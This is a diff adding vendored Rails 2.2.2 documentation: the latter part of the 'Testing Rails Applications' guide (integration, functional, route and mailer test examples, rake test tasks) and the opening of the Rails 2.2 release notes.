+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="948" />
+<col width="640" />
+<thead>
+  <tr>
+    <th align="left">
+    Helper
+    </th>
+    <th align="left">
+    Purpose
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    <tt>https?</tt>
+    </td>
+    <td align="left">
+    Returns <tt>true</tt> if the session is mimicking a secure HTTPS request.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>https!</tt>
+    </td>
+    <td align="left">
+    Allows you to mimic a secure HTTPS request.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>host!</tt>
+    </td>
+    <td align="left">
+    Allows you to set the host name to use in the next request.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>redirect?</tt>
+    </td>
+    <td align="left">
+    Returns <tt>true</tt> if the last request was a redirect.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>follow_redirect!</tt>
+    </td>
+    <td align="left">
+    Follows a single redirect response.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>request_via_redirect(http_method, path, [parameters], [headers])</tt>
+    </td>
+    <td align="left">
+    Allows you to make an HTTP request and follow any subsequent redirects.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>post_via_redirect(path, [parameters], [headers])</tt>
+    </td>
+    <td align="left">
+    Allows you to make an HTTP POST request and follow any subsequent redirects.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>get_via_redirect(path, [parameters], [headers])</tt>
+    </td>
+    <td align="left">
+    Allows you to make an HTTP GET request and follow any subsequent redirects.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>put_via_redirect(path, [parameters], [headers])</tt>
+    </td>
+    <td align="left">
+    Allows you to make an HTTP PUT request and follow any subsequent redirects.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>delete_via_redirect(path, [parameters], [headers])</tt>
+    </td>
+    <td align="left">
+    Allows you to make an HTTP DELETE request and follow any subsequent redirects.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>open_session</tt>
+    </td>
+    <td align="left">
+    Opens a new session instance.
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<h3 id="_integration_testing_examples">5.2. Integration Testing Examples</h3>
+<div class="para"><p>A simple integration test that exercises multiple controllers:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
+  fixtures <span style="color: #990000">:</span>users
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
+    <span style="font-style: italic"><span style="color: #9A1900"># login via https</span></span>
+    https!
+    get <span style="color: #FF0000">"/login"</span>
+    assert_response <span style="color: #990000">:</span>success
+
+    post_via_redirect <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=&gt;</span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>password
+    assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
+    assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+
+    https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+    get <span style="color: #FF0000">"/posts/all"</span>
+    assert_response <span style="color: #990000">:</span>success
+    assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.</p></div>
+<div class="para"><p>Here's an example of multiple sessions and custom DSL in an integration test</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
+  fixtures <span style="color: #990000">:</span>users
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
+
+    <span style="font-style: italic"><span style="color: #9A1900"># User avs logs in</span></span>
+    avs <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>avs<span style="color: #990000">)</span>
+    <span style="font-style: italic"><span style="color: #9A1900"># User guest logs in</span></span>
+    guest <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>guest<span style="color: #990000">)</span>
+
+    <span style="font-style: italic"><span style="color: #9A1900"># Both are now available in different sessions</span></span>
+    assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> avs<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+    assert_equal <span style="color: #FF0000">'Welcome guest!'</span><span style="color: #990000">,</span> guest<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+
+    <span style="font-style: italic"><span style="color: #9A1900"># User avs can browse site</span></span>
+    avs<span style="color: #990000">.</span>browses_site
+    <span style="font-style: italic"><span style="color: #9A1900"># User guest can browse site aswell</span></span>
+    guest<span style="color: #990000">.</span>browses_site
+
+    <span style="font-style: italic"><span style="color: #9A1900"># Continue with other assertions</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  private
+
+    <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> CustomDsl
+      <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> browses_site
+        get <span style="color: #FF0000">"/products/all"</span>
+        assert_response <span style="color: #990000">:</span>success
+        assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> login<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
+      open_session <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>sess<span style="color: #990000">|</span>
+        sess<span style="color: #990000">.</span>extend<span style="color: #990000">(</span>CustomDsl<span style="color: #990000">)</span>
+        u <span style="color: #990000">=</span> users<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
+        sess<span style="color: #990000">.</span>https!
+        sess<span style="color: #990000">.</span>post <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=&gt;</span> u<span style="color: #990000">.</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> u<span style="color: #990000">.</span>password
+        assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
+        sess<span style="color: #990000">.</span>https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_rake_tasks_for_running_your_tests">6. Rake Tasks for Running your Tests</h2>
+<div class="sectionbody">
+<div class="para"><p>You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.</p></div>
+<div class="para"><p>--------------------------------`----------------------------------------------------
+Tasks                           Description</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>+rake test+                     Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
++rake test:units+               Runs all the unit tests from +test/unit+
++rake test:functionals+         Runs all the functional tests from +test/functional+
++rake test:integration+         Runs all the integration tests from +test/integration+
++rake test:recent+              Tests recent changes
++rake test:uncommitted+         Runs all the tests which are uncommitted. Only supports Subversion
++rake test:plugins+             Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)</tt></pre>
+</div></div>
+</div>
+<h2 id="_brief_note_about_test_unit">7. Brief Note About Test::Unit</h2>
+<div class="sectionbody">
+<div class="para"><p>Ruby ships with a boat load of libraries. One little gem of a library is <tt>Test::Unit</tt>, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in <tt>Test::Unit::Assertions</tt>. The class <tt>ActiveSupport::TestCase</tt> which we have been using in our unit and functional tests extends <tt>Test::Unit::TestCase</tt> that it is how we can use all the basic assertions in our tests.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">For more information on <tt>Test::Unit</tt>, refer to <a href="http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/">test/unit Documentation</a></td>
+</tr></table>
+</div>
+</div>
+<h2 id="_setup_and_teardown">8. Setup and Teardown</h2>
+<div class="sectionbody">
+<div class="para"><p>If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in <tt>Posts</tt> controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsControllerTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>TestCase
+
+  <span style="font-style: italic"><span style="color: #9A1900"># called before every single test</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> posts<span style="color: #990000">(:</span>one<span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># called after every single test</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
+    <span style="font-style: italic"><span style="color: #9A1900"># as we are re-initializing @post before every test</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># setting it to nil here is not essential but I hope</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># you understand how you can use the teardown method</span></span>
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_show_post
+    get <span style="color: #990000">:</span>show<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
+    assert_response <span style="color: #990000">:</span>success
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_destroy_post
+    assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">,</span> <span style="color: #990000">-</span><span style="color: #993399">1</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+      delete <span style="color: #990000">:</span>destroy<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+    assert_redirected_to posts_path
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Above, the <tt>setup</tt> method is called before each test and so <tt>@post</tt> is available for each of the tests. Rails implements <tt>setup</tt> and <tt>teardown</tt> as ActiveSupport::Callbacks. Which essentially means you need not only use <tt>setup</tt> and <tt>teardown</tt> as methods in your tests. You could specify them by using:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+a block
+</p>
+</li>
+<li>
+<p>
+a method (like in the earlier example)
+</p>
+</li>
+<li>
+<p>
+a method name as a symbol
+</p>
+</li>
+<li>
+<p>
+a lambda
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Let's see the earlier example by specifying <tt>setup</tt> callback by specifying a method name as a symbol:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'../test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsControllerTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>TestCase
+
+  <span style="font-style: italic"><span style="color: #9A1900"># called before every single test</span></span>
+  setup <span style="color: #990000">:</span>initialize_post
+
+  <span style="font-style: italic"><span style="color: #9A1900"># called after every single test</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_show_post
+    get <span style="color: #990000">:</span>show<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
+    assert_response <span style="color: #990000">:</span>success
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_update_post
+    put <span style="color: #990000">:</span>update<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #FF0000">}</span>
+    assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_destroy_post
+    assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">,</span> <span style="color: #990000">-</span><span style="color: #993399">1</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+      delete <span style="color: #990000">:</span>destroy<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+    assert_redirected_to posts_path
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  private
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> initialize_post
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> posts<span style="color: #990000">(:</span>one<span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_testing_routes">9. Testing Routes</h2>
+<div class="sectionbody">
+<div class="para"><p>Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default <tt>show</tt> action of <tt>Posts</tt> controller above should look like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_route_to_post
+  assert_routing <span style="color: #FF0000">'/posts/1'</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"posts"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_testing_your_mailers">10. Testing Your Mailers</h2>
+<div class="sectionbody">
+<div class="para"><p>Testing mailer classes requires some specific tools to do a thorough job.</p></div>
+<h3 id="_keeping_the_postman_in_check">10.1. Keeping the Postman in Check</h3>
+<div class="para"><p>Your <tt>ActionMailer</tt> classes &#8212; like every other part of your Rails application &#8212; should be tested to ensure that it is working as expected.</p></div>
+<div class="para"><p>The goals of testing your <tt>ActionMailer</tt> classes are to ensure that:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+emails are being processed (created and sent)
+</p>
+</li>
+<li>
+<p>
+the email content is correct (subject, sender, body, etc)
+</p>
+</li>
+<li>
+<p>
+the right emails are being sent at the right times
+</p>
+</li>
+</ul></div>
+<h4 id="_from_all_sides">10.1.1. From All Sides</h4>
+<div class="para"><p>There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture &#8212; yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.</p></div>
+<h3 id="_unit_testing">10.2. Unit Testing</h3>
+<div class="para"><p>In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.</p></div>
+<h4 id="_revenge_of_the_fixtures">10.2.1. Revenge of the Fixtures</h4>
+<div class="para"><p>For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output <em>should</em> look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within <tt>test/fixtures</tt> directly corresponds to the name of the mailer. So, for a mailer named <tt>UserMailer</tt>, the fixtures should reside in <tt>test/fixtures/user_mailer</tt> directory.</p></div>
+<div class="para"><p>When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.</p></div>
+<h4 id="_the_basic_test_case">10.2.2. The Basic Test case</h4>
+<div class="para"><p>Here's a unit test to test a mailer named <tt>UserMailer</tt> whose action <tt>invite</tt> is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an <tt>invite</tt> action.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserMailerTest <span style="color: #990000">&lt;</span> ActionMailer<span style="color: #990000">::</span>TestCase
+  tests UserMailer
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_invite
+    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>from    <span style="color: #990000">=</span> <span style="color: #FF0000">'me at example.com'</span>
+    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>to      <span style="color: #990000">=</span> <span style="color: #FF0000">'friend at example.com'</span>
+    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>subject <span style="color: #990000">=</span> <span style="color: #FF0000">"You have been invited by #{@expected.from}"</span>
+    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>body    <span style="color: #990000">=</span> read_fixture<span style="color: #990000">(</span><span style="color: #FF0000">'invite'</span><span style="color: #990000">)</span>
+    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>date    <span style="color: #990000">=</span> Time<span style="color: #990000">.</span>now
+
+    assert_equal <span style="color: #009900">@expected</span><span style="color: #990000">.</span>encoded<span style="color: #990000">,</span> UserMailer<span style="color: #990000">.</span>create_invite<span style="color: #990000">(</span><span style="color: #FF0000">'me at example.com'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'friend at example.com'</span><span style="color: #990000">,</span> <span style="color: #009900">@expected</span><span style="color: #990000">.</span>date<span style="color: #990000">).</span>encoded
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In this test, <tt>@expected</tt> is an instance of <tt>TMail::Mail</tt> that you can use in your tests. It is defined in <tt>ActionMailer::TestCase</tt>. The test above uses <tt>@expected</tt> to construct an email, which it then asserts with email created by the custom mailer. The <tt>invite</tt> fixture is the body of the email and is used as the sample content to assert against. The helper <tt>read_fixture</tt> is used to read in the content from this file.</p></div>
+<div class="para"><p>Here's the content of the <tt>invite</tt> fixture:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>Hi friend at example.com,
+
+You have been invited.
+
+Cheers!</tt></pre>
+</div></div>
+<div class="para"><p>This is the right time to understand a little more about writing tests for your mailers. The line <tt>ActionMailer::Base.delivery_method = :test</tt> in <tt>config/environments/test.rb</tt> sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (<tt>ActionMailer::Base.deliveries</tt>).</p></div>
+<div class="para"><p>However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.</p></div>
+<h3 id="_functional_testing">10.3. Functional Testing</h3>
+<div class="para"><p>Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserControllerTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>TestCase
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_invite_friend
+    assert_difference <span style="color: #FF0000">'ActionMailer::Base.deliveries.size'</span><span style="color: #990000">,</span> <span style="color: #990000">+</span><span style="color: #993399">1</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+      post <span style="color: #990000">:</span>invite_friend<span style="color: #990000">,</span> <span style="color: #990000">:</span>email <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'friend at example.com'</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    invite_email <span style="color: #990000">=</span> ActionMailer<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>deliveries<span style="color: #990000">.</span>first
+
+    assert_equal invite_email<span style="color: #990000">.</span>subject<span style="color: #990000">,</span> <span style="color: #FF0000">"You have been invited by me at example.com"</span>
+    assert_equal invite_email<span style="color: #990000">.</span>to<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">],</span> <span style="color: #FF0000">'friend at example.com'</span>
+    assert_match <span style="color: #FF6600">/Hi friend at example.com/</span><span style="color: #990000">,</span> invite_email<span style="color: #990000">.</span>body
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_other_testing_approaches">11. Other Testing Approaches</h2>
+<div class="sectionbody">
+<div class="para"><p>The built-in <tt>test/unit</tt> based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://avdi.org/projects/nulldb/">NullDB</a>, a way to speed up testing by avoiding database use.
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/thoughtbot/factory_girl/tree/master">Factory Girl</a>, as replacement for fixtures.
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.thoughtbot.com/projects/shoulda">Shoulda</a>, an extension to <tt>test/unit</tt> with additional helpers, macros, and assertions.
+</p>
+</li>
+<li>
+<p>
+link: <a href="http://rspec.info/">RSpec</a>, a behavior-driven development framework
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">12. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+November 13, 2008: Revised based on feedback from Pratik Naik by <a href="../authors.html#asurve">Akshay Surve</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+October 14, 2008: Edit and formatting pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+October 12, 2008: First draft by <a href="../authors.html#asurve">Akshay Surve</a> (not yet approved for publication)
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/2_2_release_notes.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/2_2_release_notes.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/2_2_release_notes.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,435 @@
+Ruby on Rails 2.2 Release Notes
+===============================
+
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the link:http://github.com/rails/rails/commits/master[list of commits] in the main Rails repository on GitHub.
+
+Along with Rails, 2.2 marks the launch of the link:http://guides.rubyonrails.org/[Ruby on Rails Guides], the first results of the ongoing link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]. This site will deliver high-quality documentation of the major features of Rails.
+
+== Infrastructure
+
+Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
+
+=== Internationalization
+
+Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
+
+* Lead Contributors: Rails i18 Team
+* More information :
+  - link:http://rails-i18n.org[Official Rails i18 website]
+  - link:http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized[Finally. Ruby on Rails gets internationalized]
+  - link:http://i18n-demo.phusion.nl[Localizing Rails : Demo application]
+
+=== Compatibility with Ruby 1.9 and JRuby
+
+Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
+
+== Documentation
+
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the link:http://guides.rubyonrails.org/[Ruby on Rails Guides] project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+
+* link:http://guides.rubyonrails.org/getting_started_with_rails.html[Getting Started with Rails]
+* link:http://guides.rubyonrails.org/migrations.html[Rails Database Migrations]
+* link:http://guides.rubyonrails.org/association_basics.html[Active Record Associations]
+* link:http://guides.rubyonrails.org/finders.html[Active Record Finders]
+* link:http://guides.rubyonrails.org/layouts_and_rendering.html[Layouts and Rendering in Rails]
+* link:http://guides.rubyonrails.org/form_helpers.html[Action View Form Helpers]
+* link:http://guides.rubyonrails.org/routing_outside_in.html[Rails Routing from the Outside In]
+* link:http://guides.rubyonrails.org/actioncontroller_basics.html[Basics of Action Controller]
+* link:http://guides.rubyonrails.org/caching_with_rails.html[Rails Caching]
+* link:http://guides.rubyonrails.org/testing_rails_applications.html[Testing Rails Applications]
+* link:http://guides.rubyonrails.org/security.html[Securing Rails Applications]
+* link:http://guides.rubyonrails.org/debugging_rails_applications.html[Debugging Rails Applications]
+* link:http://guides.rubyonrails.org/benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications]
+* link:http://guides.rubyonrails.org/creating_plugins.html[The Basics of Creating Rails Plugins]
+
+All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
+
+If you want to generate these guides locally, inside your application:
+
+[source, ruby]
+-------------------------------------------------------
+rake doc:guides
+-------------------------------------------------------
+
+This will put the guides inside +RAILS_ROOT/doc/guides+ and you may start surfing straight away by opening +RAILS_ROOT/doc/guides/index.html+ in your favourite browser.
+
+* Lead Contributors: link:http://guides.rails.info/authors.html[Rails Documentation Team]
